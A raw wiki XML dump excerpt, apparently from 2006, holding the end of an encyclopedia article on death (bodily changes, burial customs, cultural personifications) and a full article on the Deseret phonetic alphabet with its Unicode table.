Soon after death (15&amp;ndash;120 minutes depending on various factors), the body begins to cool ([[algor mortis]]), becomes pallid ([[pallor mortis]]), and internal sphincter muscles relax, leading to the release of [[urine]], [[feces]], and [[stomach]] contents if the body is moved. The blood moves to pool in the lowest parts of the body, [[livor mortis]] (dependent lividity), within 30 minutes and then begins to [[coagulate]]. The body experiences muscle stiffening ([[rigor mortis]]) which peaks at around 12 hours after death and is gone in another 24 (depending on temperature) as [[enzyme]]s begin to break down the [[biological tissue|tissues]]. Within a day, the body starts to show signs of [[decomposition]] ([[decay]]), both [[autolysis|autolytic]] changes and from 'attacking' organisms&amp;mdash;[[bacteria]], [[fungi]], [[insect]]s, [[mammal]]ian scavengers, etc. Internally, the body structures begin to collapse, the [[skin]] loses integration with the underlying tissues, and bacterial action creates [[gas]]es which cause bloating and swelling. The rate of decay is enormously variable; a body can be reduced to [[skeleton|skeletal]] remains in days, or remain largely intact for thousands of years.

== Settlement of dead human bodies ==
In most cultures, before the onset of significant decay, the body undergoes some type of ritual disposal, usually either [[cremation]] or deposition in a [[tomb]] that is often a hole in the ground called a [[grave]], but may also be a [[sarcophagus]], [[crypt]], [[sepulchre]], or [[ossuary]], a mound or barrow, or a monumental surface structure such as a [[mausoleum]] (exemplified by the [[Taj Mahal]]) or a [[pyramid]] (as exemplified by the [[Great Pyramid of Giza]]).

In [[Tibet]], one method of corpse disposal is [[sky burial]], which involves placing the body of the deceased on high ground (a [[mountain]]) and leaving it for [[birds]] of prey to dispose of. Sometimes this is because in some religious views, [[bird of prey|birds of prey]] are carriers of the [[soul]] to the heavens, but at other times this simply reflects the fact that when terrain (as in [[Tibet]]) makes the ground too hard to dig, there are few trees around to burn and the local religion ([[Buddhism]]) believes that the body after death is only an empty shell, there are more practical ways of disposing of a body, such as leaving it for animals to consume.

In certain cultures, efforts are made to retard the decay processes before burial (resulting even in the retardation of decay processes after the burial), as in [[mummification]] or [[embalming]]. This happens during or after a [[funeral]] ceremony. Many [[funeral|funeral customs]] exist in different cultures. In some fishing or navy communities, the body is sent into the water, in what is known as [[burial at sea]]. Several mountain villages have a tradition of hanging the coffin in woods.

A new alternative is [[ecological burial]]. This is a sequence of deep-freezing, pulverisation by vibration, [[freeze-drying]], removing [[metal]]s, and burying the resulting powder, which has 30% of the body mass.

[[Space burial]] uses a rocket to launch the cremated remains of a body into orbit. This has been done at least 150 times.

Graves are usually grouped together in a plot of land called a ''[[cemetery]]'' or ''graveyard'', and burials can be arranged by a [[funeral home]], [[mortuary]], [[undertaker]] or by a religious body such as a [[church]] or (for some [[Jew|Jews]]) the community's [[Burial Society]], a charitable or voluntary body charged with these duties. In some places this has created a land-use problem. For example, in Japan all people are cremated after death. About 10% of the arable land in [[China]] is taken up by graves.{{fact}}

===Funerals of Note===

* [[Hunter S. Thompson]] had his ashes shot out of a cannon to the tune of &quot;[[Mr. Tambourine Man]]&quot;.

== Personification of death ==
{{main|Death (personification)}}
[[Image:Allisvanity.jpg|right|thumb|250px|&quot;All is Vanity&quot; by [[C. Allan Gilbert]], suggesting an intertwinement between life and death.]]
'''[[Death (personification)|Death]]''' is also a [[mythology|mythological]] figure who has existed in popular culture since the earliest days of storytelling. The traditional Western image of Death, known as the [[Grim Reaper]]&amp;mdash;usually resembling a skeleton, wearing black robes and carrying a [[scythe]]&amp;mdash;is employed on a [[tarot]] card and in various [[television]] shows and [[film]]s. Some examples:
*[[Death (Discworld)|Death]] is a major character in the ''[[Discworld]]'' series by [[Terry Pratchett]].
*Humorous depictions of Death, often with a Grim Reaper-esque feel, are common during the [[Día de los Muertos]] in Mexico, especially in the state of Michoacán.
*An [[Death (Sandman)|unusual personification of Death]] appears in [[Neil Gaiman]]'s ''[[The Sandman (DC Comics Modern Age)|Sandman]]'' graphic novels.
*In [[Ingmar Bergman]]'s ''[[The Seventh Seal]]'', a [[knight]] plays a game of [[chess]] against Death.
*Death is portrayed as a neurotic Grim Reaper-esque character who still lives with his mother in ''[[Family Guy]]''. He appeared in several episodes to date and in one episode, Peter Griffin must take on the responsibilities of Death after Death sprains his ankle. 
*In the film ''[[Meet Joe Black]]'', a remake of ''[[Death Takes a Holiday]]'' (written by Alberto Casella), Death (Brad Pitt) inhabits the body of a young man to experience life firsthand.
*In the film ''[[Bill &amp; Ted's Bogus Journey]]'', Death is the bassist for Wyld Stallyns.
*In the TV series ''[[Dead Like Me]]'', the main characters are all Grim Reapers as part of a post-life bureaucracy.
*The series ''[[Touched by an Angel]]'' featured the [[Angel of Death]] as a regular character, depicted as a kindly, soft-spoken man in his mid-30s.
*The [[Angel of Death]] also appeared in the show [[Charmed]] as a man who appeared before those who had died to take them to the afterlife. He was neither good nor evil.
*Death is also a recurring character in the [[Castlevania]] video games. He is usually described as Dracula's servant, and is therefore evil. He is almost always a boss, and appears usually near the end of the game. He uses the scythe, and often transforms into more hideous forms. Plus, he has one trademark attack: Often during the whole battle, he will constantly summon small sickles/scythes out of thin air to attack the player.
*Death 'stalks' people who avoided their demises in the [[Final Destination]] series.
*Death appears as a character in a sketch in the [[Monty Python]] film ''[[The Meaning of Life]]''.
*In the cartoon ''[[Futurama]]'', Death is represented by the &quot;Sunset Squad&quot;, a group of [[robots]] who take people away to an unknown destination when they reach the [[longevity|age of 160]].
*In the book ''[[On a Pale Horse]]'' the main character becomes Death himself after killing the previous Death.
*In the cartoon''[[The Grim Adventures of Billy and Mandy]]'', death is The Grim Reaper, usually called Grim (the character speaks with a Jamaican/Rastifarian accent), and is the forced best friend of Billy and Mandy.
*The Finnish band [[Children of Bodom]] use the Grim Reaper as a mascot or symbol of sorts. 
*In America, Death is usually personified as one person. In Japanese culture, there are many Shinigami (Death Gods) that sometimes work together to collect souls, as seen in many manga, such as Death Note, or Descendants of Darkness.
*In the video game [[The Sims 2]], if a Sim dies, the Grim Reaper appears so the sim could purchase their [[life]] back.
*[[Peter Kay]] talked about death in one of his [[stand up comedy|stand up]] shows. He suggested that the Grim Reaper was very camp  - &quot;Hold me scythe, me wrists are aching! Is it hot in here or is it me?&quot;
*In the game [[Grim Fandango]], the main character - Manuel Calavera - is one of several Grim Reapers working for &quot;The Department of Death&quot;.
*Death, depicted as a perky young lady dressed in black, is a recurring character in the [[Sandman]] comic book series by british author [[Neil Gaiman]].

==Unwritten customs and superstitions==

Since writing someone's name with a range of years, such as John Doe (1950 - 2000), implies that the subject has died, it would be a [[faux pas]] to do this on someone's birthday cake or card. This is unlike an anniversary of ''something''.

In [[China]], [[Japan]], [[Korea]], and [[Taiwan]] the number 4 is often associated to death due to the sound of the Chinese, Japanese, and Korean words for ''four'' and ''death'' being similar. For this reason, hospitals and hotels often omit the 4th, 14th, etc. floors. However, [[ISO 3166-2:JP|ISO 3166-2 codes for Japan]] does have JP-04 for [[Miyagi Prefecture]].
{{seealso|List of faux pas}}

==See also==
{|
|- style=&quot;vertical-align: top;&quot;
|
*[[-cide]]
*[[Afterlife]]
*[[Agent Smith Moment]]
*[[Apoptosis]]
*[[Ars moriendi]] (&quot;The Art of Dying&quot;)
*[[Autopsy]]
*[[Bible and reincarnation]]
*[[Brain death]]
*[[Burial]]
*[[Cemetery]]
*[[Clinical death]]
*[[Coffin]]
*[[Coma]]
*[[Cremation]]
*[[Danse Macabre]]
*[[Death (band)]]
*''[[Death, Desire and Loss in Western Culture]]'' by [[Jonathan Dollimore]]
*[[Death rattle]]
*[[Embalming]]
*[[Euthanasia]]
*[[Fascination with Death]] (The fascination with death and the culture surrounding it)
*[[Famous last words]]
|
*[[Funeral]]
*[[Hearse]]
*[[Human body disposal]]
*[[Immortality]]
*[[Karoshi]]
*[[Life extension]]
*[[List of wars and disasters by death toll]]
*[[Maternal death]]
*[[Mortician]]
*[[Mot]]
*[[Near-death experience]]
*[[Persistent vegetative state]]
*[[Post Mortem Interval]]
*[[Quantum immortality]]
*[[Reincarnation]]
*[[Rigor Mortis]]
*[[Terminal illness]]
*[[Thanatology]] (The scientific study of death, its causes and phenomena.)
*[[Lists of people by cause of death]]
*[[Yama]]
|}

== External links ==
{{wikiquote}}
* [http://www.nsc.org/lrs/statinfo/odds.htm Odds of dying due to various injuries or accidents] Source: National Safety Council, United States, 2001
* [http://www.veda.harekrsna.cz/encyclopedia/dying.htm Dying, Yamaraja and Yamadutas + terminal restlessness] (Vedic/Hindu view)
* [http://www.quranichealing.com/bp.asp?caid=65 Death &amp; Dying in Islam] Muslim attitudes towards death.
* [http://www.zyworld.com/jamus/LifeCycle.htm The Cycle of Life] In context of the page [[New Age]] of [[Aquarius]].
* [http://www.quotesandpoem.com/poems/SelectedPoetryTopic/Death Poems on Death and Dying]
* [http://www.answersingenesis.org/docs2002/death_suffering.asp Why is there death and suffering?] From a [[creationist]] point of view.
* [http://www.ogrish.com Deaths and death scenes. WARNING: very explicit]
*[http://www.faerie-world.org/tales/deathgoddess.html A mythological view of the Morrigan, the Celtic goddess of death]
* [http://www.elijahwald.com/origin.html George Wald: The Origin of Death] A biologist explains life and death in different kinds of organisms in relation to evolution.
* [http://plato.stanford.edu/entries/death/ Stanford Encyclopedia of Philosophy entry on death]
* [http://www.chabad.org/article.asp?AID=281541 The Jewish Way in Death and Mourning] By Maurice Lamm

[[Category:Biology]]
[[Category:Death|*]]

[[ca:Mort]]
[[cs:Smrt]]
[[da:Død]]
[[de:Tod]]
[[es:Muerte]]
[[eo:Morto]]
[[fr:Mort]]
[[gl:Morte]]
[[io:Morto]]
[[ia:Morte]]
[[it:Morte]]
[[he:מוות]]
[[la:Mors]]
[[lv:Nāve]]
[[lt:Mirtis]]
[[hu:Halál]]
[[ms:Ajal]]
[[nl:Dood]]
[[ja:死]]
[[no:Død]]
[[pl:Śmierć]]
[[pt:Morte]]
[[ru:Смерть]]
[[simple:Death]]
[[sr:Смрт]]
[[su:Paéh]]
[[fi:Kuolema]]
[[sv:Döden]]
[[vi:Chết]]
[[zh:死亡]]</text>
    </revision>
  </page>
  <page>
    <title>Deseret alphabet</title>
    <id>8222</id>
    <revision>
      <id>40733540</id>
      <timestamp>2006-02-22T17:29:25Z</timestamp>
      <contributor>
        <username>Big Adamsky</username>
        <id>468840</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Deseret second book.jpg|right|frame|Sample from the Deseret Second Book, printed in 1868.  The first three (and part of the fourth) words read &quot;One of the worst habit...&quot; (The first three words phonetically read &quot;Wu-o-en ah-vee thee wu-o-er-es-tee&quot;)]]

'''The Deseret alphabet''' is a [[phonetics|phonetic]] [[alphabet]] developed in the mid-[[19th century]] by the board of regents of the University of Deseret (later the [[University of Utah]]) under the direction of  [[Brigham Young]], second president of [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]]. The alphabet was developed primarily by a committee made up of the board of regents. The two main contributors to character development were [[George D. Watt]] and [[Parley P. Pratt]].

The alphabet was intended to replace the traditional [[Latin alphabet]] with an alternate, more phonetically accurate alphabet for the [[English Language]]. This would offer immigrants an opportunity to learn to read and write English, which is often less phonetically consistent than many other languages. Similar experiments were not uncommon during the period, and some of the more well known results include [[Pitman Shorthand]] and the [[Shavian alphabet]].

Another goal in creating the Deseret Alphabet was to offer all faithful [[Mormon]]s a unifying script that might encourage a sense of community among recent [[Europe]]an converts, as well as a higher sense of difference from non-Mormons.

Contrary to what some people believe, the Deseret Alphabet was never considered to be the same as the [[Reformed Egyptian|reformed Egyptian]] characters in which the original Book of Mormon was written.

The Deseret Alphabet went through at least three major revisions during its first few years. At least four books were published in the new alphabet (''The First Deseret Alphabet Reader'', ''The Second Deseret Alphabet Reader'', ''The [[Book of Mormon]]'', and a ''First Nephi-Omni'') as well various articles and [[New Testament]] passages published in the Deseret News on a press obtained by [[Orson Pratt]], who estimated that the cost of printing a regular library would be over one million dollars.

Although heavily publicized by the ''[[Deseret News]]'', and promoted by [[Brigham Young]], the alphabet never became widely accepted, and fell into disuse about twenty-five years after its creation. Contemporary reports showed most Utahns were reluctant to abandon the conventional [[English script|English alphabet]] for everyday matters. 

Shortly after Brigham Young's death in [[1877]], his successor, [[John Taylor (1808-1887)|John Taylor]], ended all official funding and publicity for the alphabet. Scholars argue that associated expenses were among the major reasons for the alphabet's failure. Material printed in the Deseret Alphabet can sell for considerable sums among collectors of Mormon antiques.

[[Unicode]] standard 3.1 includes the Deseret alphabet in positions 10400 to 1044F.
(Most combinations of operating systems, Web browsers, and installed font sets will not be able to display this table correctly.)

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot;&gt;
&lt;tr&gt;&lt;th colspan=&quot;4&quot;&gt;Capital&lt;/th&gt;&lt;th colspan=&quot;4&quot;&gt;Lowercase&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;Hex&lt;/th&gt;&lt;th&gt;Decimal&lt;/th&gt;&lt;th&gt;Glyph&lt;/th&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Hex&lt;/th&gt;&lt;th&gt;Decimal&lt;/th&gt;&lt;th&gt;Glyph&lt;/th&gt;&lt;th&gt;Name&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;10400&lt;/td&gt;&lt;td&gt;66560&lt;/td&gt;&lt;td&gt;&amp;#66560;&lt;/td&gt;&lt;td&gt;Long I&lt;/Td&gt;  &lt;td&gt;10428&lt;/td&gt;&lt;td&gt;66600&lt;/td&gt;&lt;td&gt;&amp;#66600;&lt;/td&gt;&lt;td&gt;Long I&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10401&lt;/td&gt;&lt;td&gt;66561&lt;/td&gt;&lt;td&gt;&amp;#66561;&lt;/td&gt;&lt;td&gt;Long E&lt;/Td&gt;  &lt;td&gt;10429&lt;/td&gt;&lt;td&gt;66601&lt;/td&gt;&lt;td&gt;&amp;#66601;&lt;/td&gt;&lt;td&gt;Long E&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10402&lt;/td&gt;&lt;td&gt;66562&lt;/td&gt;&lt;td&gt;&amp;#66562;&lt;/td&gt;&lt;td&gt;Long A&lt;/Td&gt;  &lt;td&gt;1042A&lt;/td&gt;&lt;td&gt;66602&lt;/td&gt;&lt;td&gt;&amp;#66602;&lt;/td&gt;&lt;td&gt;Long A&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10403&lt;/td&gt;&lt;td&gt;66563&lt;/td&gt;&lt;td&gt;&amp;#66563;&lt;/td&gt;&lt;td&gt;Long Ah&lt;/Td&gt; &lt;td&gt;1042B&lt;/td&gt;&lt;td&gt;66603&lt;/td&gt;&lt;td&gt;&amp;#66603;&lt;/td&gt;&lt;td&gt;Long Ah&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10404&lt;/td&gt;&lt;td&gt;66564&lt;/td&gt;&lt;td&gt;&amp;#66564;&lt;/td&gt;&lt;td&gt;Long O&lt;/Td&gt;  &lt;td&gt;1042C&lt;/td&gt;&lt;td&gt;66604&lt;/td&gt;&lt;td&gt;&amp;#66604;&lt;/td&gt;&lt;td&gt;Long O&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10405&lt;/td&gt;&lt;td&gt;66565&lt;/td&gt;&lt;td&gt;&amp;#66565;&lt;/td&gt;&lt;td&gt;Long Oo&lt;/Td&gt; &lt;td&gt;1042D&lt;/td&gt;&lt;td&gt;66605&lt;/td&gt;&lt;td&gt;&amp;#66605;&lt;/td&gt;&lt;td&gt;Long Oo&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10406&lt;/td&gt;&lt;td&gt;66566&lt;/td&gt;&lt;td&gt;&amp;#66566;&lt;/td&gt;&lt;td&gt;Short I&lt;/Td&gt; &lt;td&gt;1042E&lt;/td&gt;&lt;td&gt;66606&lt;/td&gt;&lt;td&gt;&amp;#66606;&lt;/td&gt;&lt;td&gt;Short I&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10407&lt;/td&gt;&lt;td&gt;66567&lt;/td&gt;&lt;td&gt;&amp;#66567;&lt;/td&gt;&lt;td&gt;Short E&lt;/Td&gt; &lt;td&gt;1042F&lt;/td&gt;&lt;td&gt;66607&lt;/td&gt;&lt;td&gt;&amp;#66607;&lt;/td&gt;&lt;td&gt;Short E&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10408&lt;/td&gt;&lt;td&gt;66568&lt;/td&gt;&lt;td&gt;&amp;#66568;&lt;/td&gt;&lt;td&gt;Short A&lt;/Td&gt; &lt;td&gt;10430&lt;/td&gt;&lt;td&gt;66608&lt;/td&gt;&lt;td&gt;&amp;#66608;&lt;/td&gt;&lt;td&gt;Short A&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10409&lt;/td&gt;&lt;td&gt;66569&lt;/td&gt;&lt;td&gt;&amp;#66569;&lt;/td&gt;&lt;td&gt;Short Ah&lt;/Td&gt;&lt;td&gt;10431&lt;/td&gt;&lt;td&gt;66609&lt;/td&gt;&lt;td&gt;&amp;#66609;&lt;/td&gt;&lt;td&gt;Short Ah&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;1040A&lt;/td&gt;&lt;td&gt;66570&lt;/td&gt;&lt;td&gt;&amp;#66570;&lt;/td&gt;&lt;td&gt;Short O&lt;/Td&gt; &lt;td&gt;10432&lt;/td&gt;&lt;td&gt;66610&lt;/td&gt;&lt;td&gt;&amp;#66610;&lt;/td&gt;&lt;td&gt;Short O&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;1040B&lt;/td&gt;&lt;td&gt;66571&lt;/td&gt;&lt;td&gt;&amp;#66571;&lt;/td&gt;&lt;td&gt;Short Oo&lt;/Td&gt;&lt;td&gt;10433&lt;/td&gt;&lt;td&gt;66611&lt;/td&gt;&lt;td&gt;&amp;#66611;&lt;/td&gt;&lt;td&gt;Short Oo&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;1040C&lt;/td&gt;&lt;td&gt;66572&lt;/td&gt;&lt;td&gt;&amp;#66572;&lt;/td&gt;&lt;td&gt;Ay&lt;/Td&gt;      &lt;td&gt;10434&lt;/td&gt;&lt;td&gt;66612&lt;/td&gt;&lt;td&gt;&amp;#66612;&lt;/td&gt;&lt;td&gt;Ay&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;1040D&lt;/td&gt;&lt;td&gt;66573&lt;/td&gt;&lt;td&gt;&amp;#66573;&lt;/td&gt;&lt;td&gt;Ow&lt;/Td&gt;      &lt;td&gt;10435&lt;/td&gt;&lt;td&gt;66613&lt;/td&gt;&lt;td&gt;&amp;#66613;&lt;/td&gt;&lt;td&gt;Ow&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;1040E&lt;/td&gt;&lt;td&gt;66574&lt;/td&gt;&lt;td&gt;&amp;#66574;&lt;/td&gt;&lt;td&gt;Wu&lt;/Td&gt;      &lt;td&gt;10436&lt;/td&gt;&lt;td&gt;66614&lt;/td&gt;&lt;td&gt;&amp;#66614;&lt;/td&gt;&lt;td&gt;Wu&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;1040F&lt;/td&gt;&lt;td&gt;66575&lt;/td&gt;&lt;td&gt;&amp;#66575;&lt;/td&gt;&lt;td&gt;Yee&lt;/Td&gt;     &lt;td&gt;10437&lt;/td&gt;&lt;td&gt;66615&lt;/td&gt;&lt;td&gt;&amp;#66615;&lt;/td&gt;&lt;td&gt;Yee&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10410&lt;/td&gt;&lt;td&gt;66576&lt;/td&gt;&lt;td&gt;&amp;#66576;&lt;/td&gt;&lt;td&gt;H&lt;/Td&gt;       &lt;td&gt;10438&lt;/td&gt;&lt;td&gt;66616&lt;/td&gt;&lt;td&gt;&amp;#66616;&lt;/td&gt;&lt;td&gt;H&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10411&lt;/td&gt;&lt;td&gt;66577&lt;/td&gt;&lt;td&gt;&amp;#66577;&lt;/td&gt;&lt;td&gt;Pee&lt;/Td&gt;     &lt;td&gt;10439&lt;/td&gt;&lt;td&gt;66617&lt;/td&gt;&lt;td&gt;&amp;#66617;&lt;/td&gt;&lt;td&gt;Pee&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10412&lt;/td&gt;&lt;td&gt;66578&lt;/td&gt;&lt;td&gt;&amp;#66578;&lt;/td&gt;&lt;td&gt;Bee&lt;/Td&gt;     &lt;td&gt;1043A&lt;/td&gt;&lt;td&gt;66618&lt;/td&gt;&lt;td&gt;&amp;#66618;&lt;/td&gt;&lt;td&gt;Bee&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10413&lt;/td&gt;&lt;td&gt;66579&lt;/td&gt;&lt;td&gt;&amp;#66579;&lt;/td&gt;&lt;td&gt;Tee&lt;/Td&gt;     &lt;td&gt;1043B&lt;/td&gt;&lt;td&gt;66619&lt;/td&gt;&lt;td&gt;&amp;#66619;&lt;/td&gt;&lt;td&gt;Tee&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10414&lt;/td&gt;&lt;td&gt;66580&lt;/td&gt;&lt;td&gt;&amp;#66580;&lt;/td&gt;&lt;td&gt;Dee&lt;/Td&gt;     &lt;td&gt;1043C&lt;/td&gt;&lt;td&gt;66620&lt;/td&gt;&lt;td&gt;&amp;#66620;&lt;/td&gt;&lt;td&gt;Dee&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10415&lt;/td&gt;&lt;td&gt;66581&lt;/td&gt;&lt;td&gt;&amp;#66581;&lt;/td&gt;&lt;td&gt;Chee&lt;/Td&gt;    &lt;td&gt;1043D&lt;/td&gt;&lt;td&gt;66621&lt;/td&gt;&lt;td&gt;&amp;#66621;&lt;/td&gt;&lt;td&gt;Chee&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10416&lt;/td&gt;&lt;td&gt;66582&lt;/td&gt;&lt;td&gt;&amp;#66582;&lt;/td&gt;&lt;td&gt;Jee&lt;/Td&gt;     &lt;td&gt;1043E&lt;/td&gt;&lt;td&gt;66622&lt;/td&gt;&lt;td&gt;&amp;#66622;&lt;/td&gt;&lt;td&gt;Jee&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10417&lt;/td&gt;&lt;td&gt;66583&lt;/td&gt;&lt;td&gt;&amp;#66583;&lt;/td&gt;&lt;td&gt;Kay&lt;/Td&gt;     &lt;td&gt;1043F&lt;/td&gt;&lt;td&gt;66623&lt;/td&gt;&lt;td&gt;&amp;#66623;&lt;/td&gt;&lt;td&gt;Kay&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10418&lt;/td&gt;&lt;td&gt;66584&lt;/td&gt;&lt;td&gt;&amp;#66584;&lt;/td&gt;&lt;td&gt;Gay&lt;/Td&gt;     &lt;td&gt;10440&lt;/td&gt;&lt;td&gt;66624&lt;/td&gt;&lt;td&gt;&amp;#66624;&lt;/td&gt;&lt;td&gt;Gay&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10419&lt;/td&gt;&lt;td&gt;66585&lt;/td&gt;&lt;td&gt;&amp;#66585;&lt;/td&gt;&lt;td&gt;Ef&lt;/Td&gt;      &lt;td&gt;10441&lt;/td&gt;&lt;td&gt;66625&lt;/td&gt;&lt;td&gt;&amp;#66625;&lt;/td&gt;&lt;td&gt;Ef&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;1041A&lt;/td&gt;&lt;td&gt;66586&lt;/td&gt;&lt;td&gt;&amp;#66586;&lt;/td&gt;&lt;td&gt;Vee&lt;/Td&gt;     &lt;td&gt;10442&lt;/td&gt;&lt;td&gt;66626&lt;/td&gt;&lt;td&gt;&amp;#66626;&lt;/td&gt;&lt;td&gt;Vee&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;1041B&lt;/td&gt;&lt;td&gt;66587&lt;/td&gt;&lt;td&gt;&amp;#66587;&lt;/td&gt;&lt;td&gt;Eth&lt;/Td&gt;     &lt;td&gt;10443&lt;/td&gt;&lt;td&gt;66627&lt;/td&gt;&lt;td&gt;&amp;#66627;&lt;/td&gt;&lt;td&gt;Eth&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;1041C&lt;/td&gt;&lt;td&gt;66588&lt;/td&gt;&lt;td&gt;&amp;#66588;&lt;/td&gt;&lt;td&gt;Thee&lt;/Td&gt;    &lt;td&gt;10444&lt;/td&gt;&lt;td&gt;66628&lt;/td&gt;&lt;td&gt;&amp;#66628;&lt;/td&gt;&lt;td&gt;Thee&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;1041D&lt;/td&gt;&lt;td&gt;66589&lt;/td&gt;&lt;td&gt;&amp;#66589;&lt;/td&gt;&lt;td&gt;Es&lt;/Td&gt;      &lt;td&gt;10445&lt;/td&gt;&lt;td&gt;66629&lt;/td&gt;&lt;td&gt;&amp;#66629;&lt;/td&gt;&lt;td&gt;Es&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;1041E&lt;/td&gt;&lt;td&gt;66590&lt;/td&gt;&lt;td&gt;&amp;#66590;&lt;/td&gt;&lt;td&gt;Zee&lt;/Td&gt;     &lt;td&gt;10446&lt;/td&gt;&lt;td&gt;66630&lt;/td&gt;&lt;td&gt;&amp;#66630;&lt;/td&gt;&lt;td&gt;Zee&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;1041F&lt;/td&gt;&lt;td&gt;66591&lt;/td&gt;&lt;td&gt;&amp;#66591;&lt;/td&gt;&lt;td&gt;Esh&lt;/Td&gt;     &lt;td&gt;10447&lt;/td&gt;&lt;td&gt;66631&lt;/td&gt;&lt;td&gt;&amp;#66631;&lt;/td&gt;&lt;td&gt;Esh&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10420&lt;/td&gt;&lt;td&gt;66592&lt;/td&gt;&lt;td&gt;&amp;#66592;&lt;/td&gt;&lt;td&gt;Zhee&lt;/Td&gt;    &lt;td&gt;10448&lt;/td&gt;&lt;td&gt;66632&lt;/td&gt;&lt;td&gt;&amp;#66632;&lt;/td&gt;&lt;td&gt;Zhee&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10421&lt;/td&gt;&lt;td&gt;66593&lt;/td&gt;&lt;td&gt;&amp;#66593;&lt;/td&gt;&lt;td&gt;Er&lt;/Td&gt;      &lt;td&gt;10449&lt;/td&gt;&lt;td&gt;66633&lt;/td&gt;&lt;td&gt;&amp;#66633;&lt;/td&gt;&lt;td&gt;Er&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10422&lt;/td&gt;&lt;td&gt;66594&lt;/td&gt;&lt;td&gt;&amp;#66594;&lt;/td&gt;&lt;td&gt;El&lt;/Td&gt;      &lt;td&gt;1044A&lt;/td&gt;&lt;td&gt;66634&lt;/td&gt;&lt;td&gt;&amp;#66634;&lt;/td&gt;&lt;td&gt;El&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10423&lt;/td&gt;&lt;td&gt;66595&lt;/td&gt;&lt;td&gt;&amp;#66595;&lt;/td&gt;&lt;td&gt;Em&lt;/Td&gt;      &lt;td&gt;1044B&lt;/td&gt;&lt;td&gt;66635&lt;/td&gt;&lt;td&gt;&amp;#66635;&lt;/td&gt;&lt;td&gt;Em&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10424&lt;/td&gt;&lt;td&gt;66596&lt;/td&gt;&lt;td&gt;&amp;#66596;&lt;/td&gt;&lt;td&gt;En&lt;/Td&gt;      &lt;td&gt;1044C&lt;/td&gt;&lt;td&gt;66636&lt;/td&gt;&lt;td&gt;&amp;#66636;&lt;/td&gt;&lt;td&gt;En&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10425&lt;/td&gt;&lt;td&gt;66597&lt;/td&gt;&lt;td&gt;&amp;#66597;&lt;/td&gt;&lt;td&gt;Eng&lt;/Td&gt;     &lt;td&gt;1044D&lt;/td&gt;&lt;td&gt;66637&lt;/td&gt;&lt;td&gt;&amp;#66637;&lt;/td&gt;&lt;td&gt;Eng&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10426&lt;/td&gt;&lt;td&gt;66598&lt;/td&gt;&lt;td&gt;&amp;#66598;&lt;/td&gt;&lt;td&gt;&amp;lt;Reserved&amp;gt;&lt;/Td&gt;&lt;/Tr&gt;
&lt;tr&gt;&lt;td&gt;10427&lt;/td&gt;&lt;td&gt;66599&lt;/td&gt;&lt;td&gt;&amp;#66599;&lt;/td&gt;&lt;td&gt;&amp;lt;Reserved&amp;gt;&lt;/Td&gt;&lt;/Tr&gt;
&lt;/table&gt;

==See also==
*[[Cherokee alphabet]]

==External links==
*Unicode Code Chart, 10400-1044F (Deseret), retrieved from http://www.unicode.org/charts/PDF/U10400.pdf
* [http://www.coloradohistory.org:5000/about_chs/curators/Deseret.htm Colorado History page]
* [http://www.omniglot.com/writing/deseret.htm The Deseret Alphabet at Omniglot]


[[Category:Alphabetic writing systems]]
[[Category:Artificial scripts]]
[[Category:Mormonism]]
